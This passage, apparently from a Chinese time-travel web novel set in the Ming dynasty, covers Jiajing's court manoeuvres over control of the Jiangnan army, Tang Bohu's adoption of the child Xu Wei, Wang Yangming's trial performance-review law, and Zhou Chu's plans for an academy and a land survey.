云瑾很清楚,自己之所以能够心无旁骛的学习,能够进步这么快,完全是因为自己一直跟在二哥身旁,有二哥这样一个高山仰止的目标,云瑾便从不会自满,即便她早已远超同龄人,但她从未将同龄人放在眼里过。 云瑾的目标,一直都只有一个,那就是周楚,她所做的一切,都是为了和周楚站在一起,能够帮助周楚,而不是让周楚一个人扛住所有的事。 如今的云瑾已经能帮周楚分担一部分了,比如这玄武军,倘若没有云瑾,周楚还真是分身乏术,这让云瑾很高兴。 如今的玄武军,已经有了七八艘船,除了最初的那一艘宝船之外,其他的船都是抢来的,和宝船自然是没法比,好处是灵活,玄武军巡视湄公河入海口,用这些船正合适。 京城,皇帝和文武百官都得知了苏州府发生的事,嘉靖有周楚的密奏,还有一船船钱财在路上漂着,心里高兴的不得了。 周楚的能力再一次突破了他的认知,这才去江南多久,满打满算也就半年左右,就把整个江南搅成了一锅粥,此时更是把刀子递给了自己,让自己随时可以拿掉崔文奎的兵权,兵权一到手,整个江南尽入彀中。 这些天嘉靖让人做的最多的事,就是不断地接收从江南运过来的钱财,那些钱财经过天津的码头上岸之后,便有数千位锦衣卫分批次护送到京城,一路之上由不得半分差池。 当然,陆万山这些锦衣卫也获得了足够的好处,每一批钱财进京之后,嘉靖都会象征性的赏赐锦衣卫一些钱财。 这么多天,锦衣卫护送的运送钱财的马车就没停过,一辆接着一辆,普通百姓都好奇这些马车里装的是什么,却无人敢过问,那些达官贵人,多多少少是知道一些的,却一个个讳莫如深,权当看不到这些马车进京。 嘉靖现在都不知道自己有多少钱了,不过嘉靖很清楚,最起码大明未来三四十年的财政支出是够了的。 当然,如果打仗的话,财政支出就会大幅度增加,这个年限就会大大降低。 此时的嘉靖底气前所未有的足,手里有钱,眼看着江南的兵权又要收回来了,根本就是大权在握,梦幻中的梦幻开局。 如此一来,大明很多的陈弊,嘉靖都有信心做出改变了,嘉靖不禁想起了之前周衡器给他的承诺,说让自己超越汉文帝,当时嘉靖还未完全当真,此时再看,这目标似乎触手可及。 不过即便再高兴,嘉靖该演的戏还是要演下去,在外人面前,嘉靖一直都是一副十分愤怒的模样,甚至御书房的一些东西,都被嘉靖砸了。 第二天嘉靖紧急召开朝会,召集群臣商议江南之事,朝堂上,文武百官昨天就得到了消息,一个个面面相觑,有知道内幕的有不知道的。 知道内幕的也都是猜出来的,毕竟这种事崔文奎和夏言是万万不可能用书信告诉任何人的,一旦书信被截获,那事情就大发了。 整个朝堂上,最头疼的就是杨一清,原本他以为已经将周楚扳倒了,没想到皇帝和周楚只是顺水推舟,去江南闹了个天翻地覆,一旦皇帝彻底整治好江南之后,杨一清在朝堂上就是真正的孤立无援了。 届时皇帝军政一把抓,要什么有什么,杨一清想要再有什么作为,那就太难了。 虽然杨一清和江南集团没什么联系,但此时没人比杨一清更希望江南集团能将周楚彻底按住的了。 有江南集团的牵制,杨一清在朝堂之上才有辗转腾挪的空间,很多时候是敌是友,从来都不是固定的。 就像当初杨廷和夏言这些人,要对付江彬和武宗朱厚照,杨一清也是出手了的,那时他们便是合作关系。 后来大礼仪之争,因为周楚的原因,皇帝占据了上风,杨一清看到了机会,果断跳了出来站在了皇帝这边。 再后来周楚作为锦衣卫指挥使,几乎是一手遮天,搅弄风雨,这是杨一清不想看到的,于是他又和杨廷和短暂的联合了起来。 到最后周楚被贬官之后,杨一清又将杨廷和彻底扳倒。 可谓是左右横跳。 “诸位,看看吧,我大明境内,朗朗乾坤,居然发生了如此骇人听闻之事,那苏州府还是我大明的土地吗?那江南省难道真的无法无天了吗?” 嘉靖看着群臣,满脸怒容道。 第121章 嘉靖的决定,无奈的杨一清 倘若苏州府是几十个流民暴乱,或者是出现一两百个倭寇,那根本不算什么大事,基本上都传不到京城。 哪怕是传到了京城,到了皇帝和文武百官的耳中,也多半不会当回事,真要论起来,那便是严嵩这个苏州知府的失职。 但现在苏州府出现的是四五千来路不明的私兵,还四处劫掠,这事就大了,倘若不是嘉靖一早就知道真相,此时恐怕已经坐立不安了。 四五千人的聚众谋反从来都不是小事,谋反这种事,往往是一呼百应,别看现在是四五千,一旦让他们起势,人数就会迅速滚起来。 当然,前提是有足够多的百姓吃不上饭,才会如此,倘若大部分百姓还能过得下去,是无论如何都不会造反的。 百姓的要求往往很低,只要不把他们往死里逼,就都好说。 现在苏州府发生的这件事,追究起来,崔文奎和夏言都逃脱不了责任,这两人一个是江南省巡抚,一个是监察御史。 在他们眼皮子底下居然能冒出四五千私兵,这件事如果说他们毫不知情,鬼都不信。 不过嘉靖却不准备就这件事大做文章,只是想趁着这个机会,拿到崔文奎的兵权即可,只要兵权到手,届时整个江南就在朝廷的掌控之中了,崔文奎很难泛起什么水花。 崔文奎倒是无所谓,但夏言对嘉靖而言,还是有用的,用来平衡朝中的局势,夏言是一枚很好用的棋子。 对皇帝而言,任何一方的人最好都不要赶尽杀绝,否则朝堂上很容易一家独大,这绝不是皇帝想看到的。 历朝历代,任何时候,都没有绝对的忠臣,长孙无忌在李世民活着的时候,是忠臣能臣,但李世民死后,李治登基,出现了短暂的权力真空期,长孙无忌就成了权臣,和皇帝走向了对立面。 无数历史的教训都说明了一个问题,一个王朝一旦出现权力真空期,再忠心的忠臣都会有想法。 “陛下,苏州府发生这等事,作为江南省巡抚的崔文奎难辞其咎,要么他知情,要么他失察。” 杨慎直接出列道。 这一句话基本就把这件事给定了调子,这也是嘉靖最希望听到的话,自从周楚离开京城之后,嘉靖纵观满朝文武,发现杨慎才是那个真心为自己考虑的臣子,每次说话都能说到自己心坎上去。 杨慎每次说话,拿捏的分寸都恰到好处,比如这次,要是换了别人,前面这些话或许也会说,但后面绝对会加一句,让朝廷彻查此事,查出一个真相。 这便是不知分寸了,毕竟无论是嘉靖还是满朝文武,都不需要真相,真相不重要,重要的是皇帝想达到什么目的,其他人又想达到什么目的。 “陛下,杨阁老所言极是,除了崔大人之外,夏大人恐怕也有失察之嫌。” 韩玠出列道。 自从他升任吏部尚书之后,在朝堂上的活跃度比以前高多了,他所有的发言基本上都是对杨慎话语的补充,他很聪明,再加上有飞霞子这个叔祖提点,韩玠已然成为了彻头彻尾的帝党。 “陛下,老臣以为,此事恐怕没有表面上这么简单,还需要从长计议。” 杨一清出列道。 “难不成首辅大人以为,苏州府能凭空出现数千私兵不成?” 杨慎反问道。 杨一清现在听到杨慎说话就头大,当初杨慎被皇帝骂了之后,好似变了一个人,朝堂之上对喷基本没输过,哪怕是输也是以寡敌众,才会陷入下风。 杨一清自然不想一个人面对杨慎的火力。 “杨阁老此言差矣,首辅大人也只是说从长计议,正所谓急事要缓办,处理的太过着急,反而容易出错。” 杨一清还没说话,他身后的一个户部的官员出列道。 此人正是杨一清的得意门生之一。 这话说的极漂亮,乍一听好像没什么毛病,也挑不出什么错来,朝廷的事,一般都要走程序,然后一层层处理,等一圈走下来,怎么也得小半年。 杨一清要的就是拖延时间,他很清楚,崔文奎和夏言难辞其咎,硬要为他俩脱罪的话,自己反而会惹的一身骚。 只要拖个小半年,到时候再打回重议,再找个由头在如此弄一圈,此时也就不了了之了。 这是杨一清这种人惯用的伎俩,不只是杨一清,满朝文武对这种手段都极为熟悉。 只要能拖下去,就有缓和的余地。 但这显然不是嘉靖想要的结果。 “阁老也是这么想吗?” 嘉靖看着杨一清道。 “陛下,凡事缓一缓总是没错的,太急往往容易出纰漏。” 杨一清以一副过来人的姿态说道。 “朕倒是觉得杨文宪说的极有道理,苏州府发生了这等事,如果不以雷霆手段处理,如何给苏州府的百姓一个交代?如此下去,岂不是人心惶惶?” 嘉靖显然不会被杨一清带偏,直接切中要害道。 “陛下所言极是,此事倘若处理不好,不足以给江南百姓一个交代。” 杨慎附和道。 杨慎说完这话,韩玠等一众官员纷纷附和。 “既如此,那便削去崔文奎的兵权,小惩大诫,江南省的兵权由王阳明一体节制。” 嘉靖没有再给杨一清说话的机会,快刀斩乱麻,直接宣布了自己的决定。 对于夏言,无论是嘉靖还是群臣,都选择性的忽略了。 嘉靖这么一说,这件事就算是盖棺定论了,杨一清即便是再想反驳,也无能为力了。 下朝之后,孙娇娇的父亲孙弘快步追上了走在前面的韩玠。 “韩大人,一会去醉仙楼小酌两杯。” 孙弘作为孙娇娇的父亲,沾了孙娇娇的光,因为周楚和孙娇娇的原因,和韩玠搭上了线,更是入了嘉靖的眼,因此被调入吏部,连升两级,成为了吏部的一个四品官。 这对已经多年没动的孙弘而言,简直是焕发了第二春,而且明眼人都能看得出来,孙弘的政治前途一片光明,恐怕远不止四品这么简单。 只要时机合适,有了合适的缺,无论是嘉靖亦或是韩玠恐怕都会优先考虑孙弘。 毕竟孙弘为官多年,虽然贪了些,却也做了不少实事,这一点才是嘉靖看重的。 “这么早喝什么酒,回头让娇娇来找鸢儿玩,鸢儿这些天和他那夫婿生闷气呢,让娇娇好好劝一劝她。” 韩玠笑道。 韩鸢儿半年前成婚的,韩玠为她招了个赘婿,韩鸢儿和他倒也算是恩爱,不过两人的性子都比较较真,经常生闷气。 对此,韩玠倒也没有以身份去欺压他那个女婿,在他看来,这不过是小两口之间的拌嘴罢了,很正常。 得到消息的孙娇娇,当即坐上了轿子,直奔韩府而去。 很快,孙娇娇就见到了正在生闷气的韩鸢儿。 “鸢儿,你这是怎么了?” 孙娇娇关切道。 “别提了,还不是他,嫌我不搭理他了,整天像个女人一样。” 韩鸢儿满脸郁闷道。 “那你就给他找点事做,一个大男人,怎么能这样呢。” 孙娇娇笑道。 “不提他了,听说衡器最近在苏州府闹的天翻地覆的。” 韩鸢儿满脸兴奋道。 “苏州府发生的事,我倒是听说过,还和衡器有关?” 孙娇娇疑惑道。 她和韩鸢儿不同,她生活在婆家,能得到的消息有限。 “那是当然了,衡器在苏州府闹的可大了。” 一提到周楚,韩鸢儿之前郁闷的心情顿时没了,拉着孙娇娇开始说个没完。 孙娇娇听的连连惊叹,眼中异彩连连,心中对周楚愈发崇拜。 韩鸢儿说完之后,好似想起了什么,忍不住叹了口气。 “好怀念当初和衡器一起开酒楼的时候。” 孙娇娇听到这话,也陷入了回忆之中。 是啊,那个时候衡器还是个商人,她们和衡器可以谈笑风生。 现在想想,好像已经过去了很久一样,不知不觉间,她们和周楚之间的差距越来越大。 这种差距不只是身份,各个方面都有。 以至于之前周楚还在京城的时候,她们甚至都没有太大的勇气去找周楚。 所以孙娇娇和韩鸢儿才会怀念从前。 当时只道是寻常。 此时的苏州府,春兰来到了周楚面前。 “少爷,那徐耀宗来了,他带着一个妇人和一个小孩,应该就是少爷要找的人。” 周楚一听这话顿时来了精神。 徐渭,终于来了。 第122章 徐渭的生母,唐伯虎:用得着这么大张旗鼓吗 徐耀宗这次见周楚和上次的心情完全不同,之前他并不清楚这位锦衣卫百户的具体能量,之所以想着巴结周楚,完全是因为知道那糖霜和琉璃器的生意是周楚的。 虽说市面上也有其他的糖霜和琉璃器,但是和这位周大人出手的那些货相比完全不在一个档次,无论是琉璃的纯净度亦或是糖霜的甜度纯净度,都相去甚远。 但凡是拿到了这些糖霜和琉璃器配额的小商人,一个个都咸鱼翻身,赚的盆满钵满。 虽然这位周大人霸道了些,要求得到配额的商人上缴名下所有利润的四成。 不过像徐耀宗这种,原本收入就很低,甚至有种难以为继的感觉,只要能得到糖霜和琉璃器的配额,就会来一个大翻身,所以他才想尽办法去巴结周楚。 自是这次再见周楚,徐耀宗的心理压力就大了很多。 这些天他得到了一些小道消息,据说眼前这位身份非同一般,就连抚台大人和御使大人对他都礼让三分,避其锋芒,据说他身后的一个侍卫,就是公主的儿子,大明的侯爵。 偏偏这些消息还传的有鼻子有眼的,而且从很多迹象也能看得出来。 比如最近锦衣卫和以前完全不同了,以前苏州府的锦衣卫一直都是低眉顺目的,见谁都和和气气,特别是对那些个当官的,甚至还得赔笑。 现在却完全不同了,这些个锦衣卫一个个不说嚣张跋扈,却也气度大变,如今的苏州府,谁遇到锦衣卫都得被盘问一番才能走。 除此之外,还有一点可以作证。 这位周大人开的布庄,抢了江南商会的很多客商,到现在为止,也没见江南商会有任何表示。 徐耀宗很清楚,这在以前根本是不敢想的,江南商会的这些商人,从来都不把外地的客商当人,江南商会在整个江南地区可谓是只手遮天,没人敢惹。 周大人不仅惹了,好像还一点事都没有。 这就很恐怖了。 此时徐耀宗面对周楚,心理压力不是一般的大,他何曾见过这等大人物?别说周楚了,就算是他身后的那位年轻的侯爵,公主的儿子,他都不敢想,身份差距太大了。 “大人,小人幸不辱命,将她们母子带来了。” 徐耀宗低头道。 此时的徐耀宗甚至不敢抬头看周楚。 “你做的很好,拿着这封信去找黎老板吧,这些事都是她在负责。” 周楚随手写了个条子,装在了信封之中,递给了徐耀宗。 徐耀宗听到这话,大喜过望,他如此费力将这对母子从浙江弄过来,图的不就是这个吗? 徐耀宗小心翼翼地双手接过信封,将信封举过头顶,好像周楚随手开的这个条子是什么了不得的东西一般。 “你且退下吧。” 周楚对徐耀宗挥了挥手道。 徐耀宗听到这话,如释重负,双手就这么举着信封,弯着腰,一步一步往后退,等到退出去足够远之后,这才转身,离开了周府。 周楚看向了眼前的妇人,妇人面容憔悴,穿的衣服显得不是那么合身,显然是徐耀宗临时给她找的衣服,想来以前穿的衣服好不到哪里去。 “贱妾见过大人。” 女人跪在周楚面前,眼神有些瑟缩,她不知道眼前的这位大人找她们母子过来到底是为了什么。 不过无论如何,她心里都是感激周楚的,没有周楚的话,她甚至都见不到自己的儿子。 自从生了徐渭之后,他就被徐家的当家主母苗氏赶出了徐府,在外面为大户人家浆洗衣物勉强度日。 旁边的徐渭,此时不过是一个一岁多的孩子,才刚学会走路没多久,他看着周楚,眼神之中满是好奇,却没有多少害怕的情绪。 “本官让徐耀宗将你们母子找来,是听闻你这儿子是个神童,从小就很灵,本官的老师如今年过半百,膝下无子,不知你愿不愿意让这个小家伙认我那老师当爹,为他养老送终?” 周楚看着眼前的妇人道。 妇人想了想,并没有立刻同意,在她看来,如果所托非人,不如自己带着自己的儿子,虽然艰难,却也不是活不下去。 “不知道大人的老师姓谁名谁?” 女人鼓起勇气道。 “我那老师的名讳,想来你也曾听过,姓唐名寅,字伯虎。” 周楚笑道。 “唐伯虎!” 女人听到这个名字,忍不住惊呼道。 即便她只是一个身居后宅的妇人,也曾听过唐伯虎这个名字,唐伯虎在江南可谓是大名鼎鼎,他怎么都没想到,眼前的这位大人居然让自己的儿子认唐伯虎当爹。 这是求都求不来的福分啊。 “贱妾但凭大人处置,只是贱妾希望能进唐府,哪怕只是当个浆洗婆子,贱妾也知足了。” 徐渭的生母显然不想再和自己的儿子分开了,但这件事却由不得她做主,所以她得求周楚。 “你儿子成了我老师的儿子,你自然就不必受苦了,以后唐府之中,你就以我老师表妹的身份住下吧,倒也不必操劳,你和你儿子的身份,也不必瞒着其他人,他以后该孝敬你的,自然不会少。” 周楚的话,给了女人一颗定心丸。 “多谢大人大恩,贱妾无以为报。” 女人连连磕头道。 “不必多礼。” 周楚笑道。 将这母子二人安顿好之后,周楚让春兰给唐伯虎送了一封信过去,大意是让他挑选一个良辰吉日,认下这个儿子。 唐伯虎倒是无所谓,芸娘看到信里的内容之后很是高兴,当即为唐伯虎张罗了起来,定好日子之后,还让人给唐伯虎的那些亲朋好友都送去了请帖,准备好好庆祝一下。 “用得着如此折腾吗?” 唐伯虎有些无奈道。 芸娘听到这话白了他一眼。 “当然用得着,咱家人气太少了,除了我们两个,剩下的都是些下人,儿子进门,当然得大办一场,让整个唐府都沾沾喜气,去去晦气。” 唐伯虎听到这话,想了想似乎有理,也就任由芸娘操持了。 第123章 不请自来的客人,王阳明,考成法的试行 实际上唐伯虎的亲友并不多,除了一些近一些的亲戚之外,就只剩下文徵明祝枝山这种能容忍唐伯虎脾气的多年好友了。 唐伯虎的亲戚,大多对唐伯虎突然收养一个儿子这件事有所不满,特别是那些唐伯虎本家的亲戚。 原本在他们看来,等唐伯虎一死,唐府以及唐伯虎的一切就都是他们的了,甚至之前有人提出过要给唐伯虎过继一个儿子。 这些人打的什么主意,唐伯虎一清二楚,自然不会同意。 现如今唐伯虎突然要收养一个外人当儿子,这让他们如何能接受? 当他们得知这一切的源头都是唐伯虎的一个弟子,一个锦衣卫百户的时候,他们对周楚更是一点好脸色都欠奉。 毕竟周楚来苏州府没有多久,以前的锦衣卫在苏州府实在是没什么威严可言,短时间内,锦衣卫在苏州府百姓心中,并没有什么分量。 甚至在他们看来,唐伯虎居然收一个锦衣卫百户为弟子,简直是有辱斯文。 “这位大人,你是不是有些狗拿耗子,多管闲事啊?什么时候我们唐家的事,轮得到一个外人来做主了?” 一个唐家子弟来到周楚面前,阴阳怪气道。 “我自然是做不了主,这件事是老师同意的。” 今天大喜的日子,周楚并不想闹的不愉快,更何况这些人实在是入不了周楚的眼,和他们一般见识?他们还不配。 正在唐家的人正要继续对周楚发难的时候,一个通报声让他们顿时闭上了嘴。 “南直隶抚台王大人前来恭贺。” 此话一出,唐伯虎的这些亲人全都惊了。 在他们看来,唐伯虎不过是一介落魄文人,是如何能和此等封疆大吏攀上关系的? 不只是他们意外,唐伯虎也很意外。 唐伯虎意外是因为他知道现如今的王阳明已经是封疆大吏,虽说唐伯虎清楚王阳明从不会因为身份而和自己的关系有所疏远,但作为一省巡抚,特别还是南直隶的巡抚,可谓是位高权重。 每天需要忙的公务就不知凡几,如今的大明官僚机制,官僚作风严重到了一定程度,案牍都是堆积如山,很多事,只要稍微拖一拖就不了了之了。 因为新的案牍只要不是立刻处理,就会淹没在海量的案牍之中,再也想不起来,如此一层层下去,地方上对朝廷政策,甚至对具体时间的执行力,已经弱到了一个令人发指的地步。 这也是之前杨一清等人为何想着拖一拖崔文奎这件事,但凡能稍微拖一拖,这件事就会被无限延期,最后不了了之。 但王阳明不同,在周楚的建议和嘉靖的首肯下,他已经初步在南直隶尝试实行考成法了,虽然只是刚开始试行,虽然整个南直隶的官员怨声载道,对王阳明充满了怨言,却阻止不了王阳明。 考成法一共分为三个部分。 第一个部分是建立了台账制度。 所谓的台账制度,说起来也不复杂,每个部门,每个官员接收到具体的事物文牒之后,都得大致估算一下这件事得办多久,然后给上级一个具体且详细的期限回复。 每个月月底的时候要专门进行核对和注销,倘若原本承诺该月以内该完成的事物还未完成,那办理该事物的官员就麻烦了,他办理的事物一律登记造册,制成一式三份的公文册。 一本在六部留作底本,一本送六科备案,一本送内阁考察。 六科的官员品级都不高,基本都是六七品,但手中的权利却很大,原本六科对应的是六部,设立六科的最初原因也是监察六部,弹劾六部的官员的。 但随着不断地发展,六科基本被那些清流官员占据,这些清流官员是真正的清流,一个个头铁的要命。 虽说那些六部以及内阁的官员不能将六科完全掌握在手中,却可以进行引导利用。 这其中引导利用的最好的,莫过于后来当上内阁首辅的徐阶,彼时六科完全成了徐阶攻击政敌的工具,高拱便是在六科官员的不断攻讦下不得不短暂致仕。 考成法之下,所有官员的文件处理,只能提前,不得延误,否则就会遭受相应的惩罚,为了防止官官相护,王阳明还在周楚的建议下制定了一个层层监督,严密考核的行政运行系统。 这件事能成功运行的根本原因还在于内阁杨慎和皇帝嘉靖的大力支持。 目前考成法刚刚试行,也仅仅是建立了第一个部分,后续的还需要慢慢推进。 正是因为这个考成法,搞的南直隶的百官怨声载道,纷纷上疏弹劾王阳明,朝中的官员,以杨一清为首的,更是痛斥王阳明胡作非为。 但这些人又怎么会是喷子杨慎的对手呢? 杨慎在朝堂之上,陈明利弊,痛斥大明的官员不作为,都想躺在功劳簿上混吃等死,不想干事。 杨慎和嘉靖一个唱红脸一个唱白脸,杨慎骂完百官之后,嘉靖站出来开始做好人。 嘉靖表示考成法先在南直隶试行,同时南直隶官员的俸银,全部在现有的基础上提高五成,如果考成法效果好的话,南直隶的官员俸禄还会进一步提升。 嘉靖此话一出,原本反对的官员顿时没了声音,特别是六科的那些个喷子,他们可是一点额外收入都没有,纯靠奉银活着,好在六科的官员不像其他官员需要排场规制,不需要花钱雇人抬轿子。 否则他们的奉银养家都困难。 这还是因为六科官员享受正四品待遇。 倘若提升五成的话,那花起来就绰绰有余了。 如果说谁对奉银的提升最心动,那无疑是六科的官员。 因此原本强烈反对考成法的六科官员,顿时没了声音,他们甚至还期待考成法能够尽快在京城实行起来,那样的话,他们的俸银也能得到相应的提升了。 六科不反对了,杨一清更不会反对,倘若他再继续坚持反对的话,就会得罪所有官员,所有人都会认为是他不让朝廷给他们涨俸禄。 就算是南直隶的官员,得到涨薪的消息之后,反对的声音顿时小了很多,毕竟南直隶的很多官员都是原本都是有名无实的,基本都是靠着奉银度日,如今涨了俸银,不能说完全没了怨言,最起码怨言小了许多。 南直隶所有的官员都忙碌了起来,王阳明这个南直隶巡抚就闲下来了,再加上前两日接到朝廷的公文,让他来江南省接收军权,王阳明便早早的来到了苏州府。 这才刚到苏州府,就得到了唐寅要收养一个幼童当自己儿子的消息。 王阳明一想,自己已经多年没见到自己这个好友了,还有周衡器和自己的学生沈炼,于是便不请自来了。 除了王阳明之外,还有两个人不请自来,正是严嵩和张璁。 这两人看到了周楚惊人的能量和实力,对于这位锦衣卫百户内心愈发敬重,自然不会错过这么一个拍马屁的好机会,纷纷备了贺礼,来到了唐府。 “伯安,昔日京城一别,许久不见啊。” 唐伯虎作为东道主,表现的自然比平日里稳重了许多,和王阳明寒暄了起来。 “是啊,伯虎兄,昔日一别,弟经常想念和兄以及衡器把酒言欢的时刻,每每想起,都不胜唏嘘。” 王阳明感慨道。 “老师。” 沈炼看到王阳明之后,急忙上前行礼。 “不错,比以前稳重内敛了许多。” 王阳明看着自己的这个弟子,满意的点了点头。 “全赖周大人教导,弟子跟在周大人身边,学了很多。” 沈炼如实说道。 “阳明先生。” 周楚笑着来到王阳明跟前,行礼道。 “衡器,当日一别,不曾想你会扶摇直上,不过我大明确实需要你这等股肱之臣。” 王阳明看到周楚之后,也是满脸笑容。 “下官见过王大人,见过周大人,不请自来,实在冒昧。” 严嵩行礼道。 “惟中,咱俩之间,何时需要这般生分了?” 王阳明看着严嵩有些拘谨,笑道。 张璁也急忙上前见礼。 一旁的唐家人看到眼前一幕,一个个都傻眼了,无论是王阳明这个巡抚,还是严嵩这个苏州府的知府,亦或是张璁这个御使,在他们看来都是高不可攀的。 偏偏这些人对待周楚的态度,让他们毛骨悚然。 知府大人对这个锦衣卫百户居然如此恭敬,就连那个御史大人,对他都有些谄媚。 抚台大人看上去和他更像是平级? 这到底是什么情况?唐伯虎的这个弟子不是区区一个锦衣卫百户吗? 第124章 王阳明的担忧,想掘大明文人根的周楚 唐家人想不明白,但他们也明白了周楚身份绝不是一个锦衣卫百户这么简单。 此时无论是唐家人还是唐伯虎的其他亲戚,都明白了一个道理,眼前这个年轻人绝不能招惹。 甚至他们还想了很多,前些年唐伯虎算不上富裕,后来消失了好几年,没人知道唐伯虎去了哪里,大半年前再次出现在苏州府。 彼时唐伯虎突然阔了起来,整个唐府也不是以前能比的。 正是因此,唐伯虎的很多本家盯上了他的家产。 此时见识到了周楚身份不一般的这些人,有些想的则更多,唐伯虎这大半年能如此风光,会不会和他这个弟子有着分不开的关系? 不过他们注定是得不到结果的,只能胡思乱想。 “这个小家伙就是我刚收的儿子,原名叫徐渭,我又给他取了个名字,叫唐墨,以后这两个名字都给他保留着。” 唐伯虎抱起徐渭,向众人介绍道。 实际上一个人有两个名字丝毫不奇怪,许多文人原本只有一个名字的,还会给自己取个别名或者花名,这本就是一件文雅之事。 “唐墨?莫非这小家伙在丹青一道还有天赋?” 一旁的文徵明忍不住问道。 唐伯虎听到这话,得意一笑。 “衡器说的没错,这小家伙确实是个神童,灵的很,前两日他自己摸着笔就画了起来。” 唐伯虎说着,取出一张画,展示在众人面前。 众人看到眼前的这幅画心中都是一惊。 在场的诸位,包括王阳明、严嵩和张璁,对丹青一道多多少少都有些涉猎。 眼前这幅画,虽然毫无章法,更没有任何技法可言,整体更谈不上什么格局,完全是一幅充满童真的画,却用笔极为准确,每一笔都落在了该落的地方上。 这种感觉就像是两个人同样画一幅画,一个人学了多年的画画,画画的技法很好,按部就班的将这幅画画了出来。 但另一个人完全没学过画画,每一笔都落在了众人意想不到的地方,但最终画出来的结果却完全不逊色于那个学了多年的,甚至在某些方面还具备一些他人所不具备的神韵。 这就是天赋,对画画天生有着敏锐的感觉。 这真的是眼前这个看上去才刚满一岁的小家伙画的? 此刻,众人顿时陷入了怀疑之中,但那画中的童趣,又是他们所有人都画不出来的。 “跟着你,有点浪费了。” 文徵明看着唐伯虎,叹了口气道。 “你他娘的什么意思?” 唐伯虎一听这话,顿时不乐意了。 “这小家伙在丹青一道的天分之高,我从未见过,不过当世之人,除了伯虎,也没人能教他了,伯虎也未必能教好,每个人都有自己的路,只有让这个小家伙走出自己的那条路,才是最适合他的。” 祝枝山补充道。 唐伯虎听到这话,罕见的没有反驳。 别人的衣服再好看都是别人的,穿在自己身上未必合适,只有做出属于自己的衣服,才是最适合自己的。 这话放在丹青一道上面尤为合适,没有自己的风格,终究会沦为下乘。 “放心吧,我只教他基础的东西,剩下的路让他自己走。” “我可以教他写字。” 文徵明此时也是见猎心喜,如此一块完美的璞玉,他如何能视而不见。 “过几年再说吧,他才多大。” 一旁的芸娘说着将小徐渭抱走了。 唐伯虎安排众人纷纷入座,唐伯虎这一桌坐着的有王阳明、周楚、张璁、严嵩、文徵明和祝枝山。 这些人的身份都非同一般,不是达官贵人就是在文坛有着举足轻重的地位。 “徵明贤弟要参加今年的乡试吗?” 祝枝山看着文徵明,笑道。 “希哲兄也知道,这是我的一块心病,总要试一试。” 文徵明有些无奈道。 “徵明兄有大才,想来此次乡试能顺利中举。” 王阳明笑道。 王阳明还有些话没说,现在的文徵明还有另一个身份,周衡器的老师。 有周衡器这层关系在,那主考官但凡识趣点,都会点了文徵明的举人,就算不识趣,自会有人跟他打招呼。 这些都是官场上不成文的一些规则,即便周楚什么都不做,那些想暗中拍他马屁的,也会顺手把这件事做了,并且不会告诉周楚。 等到未来某一天周楚自己发现这件事,他做的这些就会获得丰厚的回报。 不过对于这点,王阳明并不准备说出来,文徵明确实有才华,为科举蹉跎这么多年,本就是科举本身的问题。 虽说有才华不等于会治国,但现在的科举制度下,考出来的也都不是治国之才。 和那些人相比,文徵明反而要强很多。 “借王大人吉言。” 文徵明回道。 “衡器,这南直隶的巡抚,我恐怕干不了多久了。” 王阳明看着周楚,说道。 “这是为何?” 周楚疑惑道。 “家父的身子骨一日不如一日,年纪大了,药石无医,之前倒也让飞霞子道长帮忙看过。” 王阳明叹了口气。 “要不是为了推行这个考成法,前些日子我就准备请辞的,我就怕我一离开,这考成法继续不下去了。” 王阳明有些担忧道。 周楚听到这话,顿时恍然,阳明先生父亲的大限好像就在今年,不过想来应该还能撑几个月。 “阳明先生不必担忧,孝道为大,至于考成法,自会有其他人继续做,尽人事听天命罢了。” 周楚喝了口酒道。 周楚这话倒不是空话,如果王阳明回家守孝丁忧,张璁继任他的位置再合适不过。 张璁本就是个能臣,能力是有的,也是个干事的人,对于张璁的立场问题,周楚并未怀疑过。 至于王阳明,周楚也不准备让他闲着。 “有合适的人选那再好不过。” 王阳明一看周楚的神态,便知道他心中已经有了合适的人选,也就放下心了。 “阳明先生,我准备办一个书院,届时请阳明先生支持书院。” 周楚说出了自己心中谋划了许久的一个计划。 即便周楚不提出办书院,再过两年,王阳明也会在绍兴办一个书院,主要讲的是王学。 王学是宋明理学的一个分支,是以致良知为基本理论的心学学说,又被称为阳明心学。 可惜后来很多人学歪了,只学会了心学,却忘记了最基础的致良知,没了束缚的心学,那便不再是心学。 “办书院?你想要教什么?” 王阳明有些好奇道。 “什么都教,整个书院分门别类,有格物、有数理、还有大明地理等等。” 周楚解释道。 他办这个书院,就是要做一个尝试,教出能真正治国的人才,对大明有用的人才。 想要彻底改变大明的局面,只靠周楚自己一个人是不够的,周楚即便是做的再多,恐怕等周楚死后,大概率会人死政息。 但如果培养出各方面的人才,并改变大明取仕的标准,那就完全不同了。 周楚要做的,就是掘了大明文人的根。 第125章 王阳明格竹,周楚的打算:丈量土地 “格物?” 王阳明听到格物,眼睛顿时亮了。 大概三十年前,他还年轻的时候,盯着院子里的竹子,似有所悟,那一刻,他仿佛看到了竹子上面蕴含着天地至理,他尝试格竹,却因为基础理论的缺失,最终失败,大病一场。 他自小学的便是宋明理学,其中对于格物或者说物理的基础理论是缺失的,当时他只觉得那竹子之中似乎蕴含着时间和空间甚至很多世间至理,却怎么想都想不出个所以然来。 当时他几乎疯魔,却发现自己无路可走。 “正是,学生听闻昔年阳明先生尝试格竹,却失败了,便觉得很遗憾,我大明在格物方面的理论是缺失的,但世间的一切,都有他们的至理,我们需要研究出来这些至理并加以利用。” 周楚侃侃而谈道。 听到这话,王阳明的眼睛更亮了。 “衡器可知道这其中的道理?” 王阳明急忙追问道,此时的王阳明完全没有身为高官和前辈的姿态,完全是一副求知若渴的模样。 “学生倒也研究过,不过知道的都很浅显,倒是格出了一些基础的东西,这些年陆陆续续记录下来了,整理成了一本书,回头我让人拿给阳明先生。” 周楚这句话倒不是假话。 这些年,周楚闲下来的时候,就会将自己知道的一些很基础的物理基础知识写下来,想到什么写什么,除了物理知识之外,还有一些基础的数学理论。 当然,再高的周楚也不会了,他毕竟不是理科生,这些理论基本上都是初中的一些基础理论。 正所谓术业有专攻,周楚在理科这方面,实在是过于稀松平常。 即便如此,听到这话的王阳明也显得很是高兴,正所谓触类旁通,王阳明的悟性本就是一等一的,在周楚看来,把这些基础理论交给他之后,说不定他能举一反三,研究出很多进阶理论。 周楚并不想卖弄自己那浅薄的物理知识。 “我接到陛下的旨意,所以才来这边准备接收兵权,届时兵权在手,衡器便可以放开手脚去做了。” 王阳明笑道。 “不知大人下一步有何打算?” 张璁对周楚接下来的打算也很好奇,在他看来,眼前这个少年每一步似乎都走在了别人预料不到的地方,但事后想来,却都是神来之笔。 “当然是丈量土地,还百姓和军户一个公道。” 